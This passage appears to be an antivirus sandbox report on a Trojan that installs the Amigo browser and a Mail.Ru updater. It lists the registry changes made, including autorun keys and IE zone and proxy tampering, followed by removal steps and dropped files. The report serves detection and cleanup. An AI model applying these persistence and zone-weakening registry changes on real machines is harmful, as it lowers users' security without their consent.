[HKCR\AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ]
"(Default)" = "HTML Document"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\Amigo]
"DisplayVersion" = "32.0.1705.153"
"InstallLocation" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application"

[HKCR\AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ\DefaultIcon]
"(Default)" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe,0"

[HKCR\.xht\OpenWithProgids]
"AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities\URLAssociations]
"mms" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities]
"ApplicationName" = "Amigo"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities\FileAssociations]
".shtml" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\Amigo]
"VersionMajor" = "1705"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\InstallInfo]
"ReinstallCommand" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe --make-default-browser"

[HKCU\Software\Amigo]
"InstallerSuccessLaunchCmdLine" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities]
"ApplicationDescription" = "Amigo is a web browser that runs webpages and applications with lightning speed. It's fast, stable, and easy to use. Browse the web more safely with malware and phishing protection built into Amigo."

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities\URLAssociations]
"smsto" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKCU\Software\Amigo\Commands\install-extension]
"CommandLine" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe --limited-install-from-webstore=%1"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\InstallInfo]
"HideIconsCommand" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe --hide-icons"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities\URLAssociations]
"news" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities\FileAssociations]
".htm" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\Amigo]
"UninstallString" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\32.0.1705.153\Installer\setup.exe --uninstall"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\InstallInfo]
"IconsVisible" = "1"

[HKCU\Software\Amigo]
"InstallerError" = "0"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "56 CC 6A E5 3C 21 1A E9 66 2F 77 08 A8 4F 64 20"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\Amigo]
"InstallDate" = "20140921"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ]
"(Default)" = "Amigo"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities\URLAssociations]
"https" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKCR\AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ]
"URL Protocol" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Mail.Ru\AmigoInstaller]
"Guid" = "{C5A74EB9-FF30-44A7-81D2-8A9F6135E8EA}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities\URLAssociations]
"urn" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKCU\Software\Classes\CLSID\{A2DF06F9-A21A-44A8-8A99-8B9C84F29161}\LocalServer32]
"ServerExecutable" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\32.0.1705.153\delegate_execute.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Amigo]
"oopcrashes" = "1"

[HKCU\Software\Mail.Ru\AmigoInstaller]
"stage" = "1"

[HKCR\.xhtml\OpenWithProgids]
"AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ" = ""

[HKCU\Software\Amigo\Commands\install-extension]
"WebAccessible" = "1"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities\URLAssociations]
"mailto" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\shell\open\command]
"(Default)" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities\URLAssociations]
"irc" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"
"nntp" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\Amigo]
"Publisher" = "Mail.Ru"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities]
"ApplicationIcon" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe,0"

[HKCU\Software\Amigo]
"InstallerExtraCode1" = "9"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\Default User\Application Data"

[HKCU\Software\Amigo\Commands\install-extension]
"RunAsUser" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\amigo.exe]
"(Default)" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\Amigo]
"NoModify" = "1"

[HKCU\Software\Amigo]
"InstallerResult" = "0"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities\FileAssociations]
".xht" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Classes\CLSID\{A2DF06F9-A21A-44A8-8A99-8B9C84F29161}\LocalServer32]
"(Default)" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\32.0.1705.153\delegate_execute.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\Amigo]
"DisplayName" = "Amigo"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\Amigo]
"NoRepair" = "1"
"Version" = "32.0.1705.153"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities\URLAssociations]
"webcal" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"
"ftp" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKCU\Software\Amigo]
"lang" = "en"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\InstallInfo]
"ShowIconsCommand" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe --show-icons"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\Amigo]
"VersionMinor" = "153"

[HKCU\Software\Amigo\Commands\install-extension]
"SendsPings" = "1"

[HKLM\SOFTWARE\RegisteredApplications]
"Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ" = "Software\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities\URLAssociations]
"sms" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"amigo" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe --no-startup-window"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Amigo]
"ap"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCU\Software\Mail.Ru\AmigoInstaller]
"InstallResult"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Amigo]
"InstallerExtraCode1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process MailRuUpdater.exe:476 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "77 4A 8A 08 B1 27 FC BE 51 60 73 5D 83 00 90 AE"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Mail.Ru\IE_Bar\Settings]
"Guid" = "{2863167C-DE4A-4FB6-9FB2-29EEA76B846C}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Mail.Ru\Updater]
"IconsConvertation" = "1"

The Trojan deletes the following registry key(s):

[HKLM\SOFTWARE\Microsoft\PCHealth\ErrorReporting\DW]

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\PCHealth\ErrorReporting\DW]
"DWFileTreeRoot"

The process MailRuUpdater.exe:1308 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\MailRuUpdater]
"Publisher" = "Mail.Ru"
"InstallLocation" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\MailRuUpdater.exe"

"UninstallString" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\MailRuUpdater.exe uninstall"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\MailRuUpdater]
"DisplayName" = "Служба автоматического обновления программ"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\MailRuUpdater]
"VersionMinor" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\MailRuUpdater]
"VersionMajor" = "1"
"DisplayIcon" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\MailRuUpdater.exe"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru]
"MailRuUpdater.exe" = "Mail.Ru updater"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1D BC FC ED 49 3D 93 55 AE FE 49 2F A4 98 92 E5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"LangID" = "09 04"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"MailRuUpdater" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\MailRuUpdater.exe"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\MailRuUpdater]

The Trojan deletes the following value(s) in system registry:

The Trojan disables automatic startup of the application by deleting the following autorun value:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"MailRuUpdater"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):

   %original file name%.exe:1240
   mailruhomesearch.exe:300
   dwwin.exe:1852
   amigo.exe:1204
   AmigoDistrib.exe:1136
   r45215.exe:1644
   Winhlp313.exe:1632
   setup.exe:1352
   MailRuUpdater.exe:476
   MailRuUpdater.exe:1308
   

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:

   %Documents and Settings%\%current user%\My Documents\CommonData\Winhlp313.exe (110080 bytes)
   %Documents and Settings%\%current user%\busy (1 bytes)
   %Documents and Settings%\All Users\Favorites\Mail.Ru Агент - используй для общения!.url (210 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\GoMailRu.ico (16428 bytes)
   %Documents and Settings%\All Users\Favorites\Mail.Ru.url (152 bytes)
   %Documents and Settings%\%current user%\Desktop\Искать в Интернете.url (209 bytes)
   %Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\Mail.Ru.lnk (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\Sputnik\MailRu.ico (196 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Mail.Ru.lnk (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\5F18B.dmp (99830 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\debug.log (165 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\User Data\1.tmp (5 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\User Data\2.tmp (5 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\CR_E7900.tmp\SETUP.EX_ (1696 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\CR_E7900.tmp\setup.exe (18208 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\CR_E7900.tmp\CHROME.PACKED.7Z (373523 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\BGVU4RYA\mailruhomesearch[1].exe (50143 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\mailruhomesearch.exe.xdl! (50143 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\AmigoDistrib.exe.xdl! (382822 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\BGVU4RYA\AmigoDistrib[1].exe (382822 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\r45215.exe (76 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ja.pak (282 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\pt-BR.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ml.pak (3679 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ru.pak (1642 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\icudt.dll (72365 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\nb.pak (213 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\el.pak (1699 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\VisualElementsManifest.xml (391 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\Вконтакте.lnk (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\es-419.pak (237 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\kn.pak (1815 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\fil.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\mr.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\nl.pak (226 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\libegl.dll (109 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\te.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ms.pak (214 bytes)
   %Documents and Settings%\%current user%\Desktop\Amigo.lnk (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ar.pak (314 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\VisualElements\splash-620x300.png (35 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\pl.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\fi.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\sk.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\te.pak (1805 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\hr.pak (222 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\Одноклассники.lnk (2 bytes)
   %Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\Вконтакте.lnk (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\es.pak (242 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\am.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe (7433 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\gcswf32.dll (100429 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\hi.pak (1754 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\resources.pak (180073 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\fa.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\chrome_child.dll (286042 bytes)
   %Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\Amigo.lnk (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\gu.pak (1745 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\pt-BR.pak (226 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\chrome_100_percent.pak (5442 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\he.pak (266 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\MailRu\MailRuUpdater.exe (46100 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\chrome_frame_helper.dll (57 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\ffmpegsumo.dll (9606 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\it.pak (229 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\VisualElements\smalllogo.png (14 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\de.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\zh-TW.pak (195 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\et.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\ppgooglenaclpluginchrome.dll (1747 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ko.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\kn.dll (10 bytes)
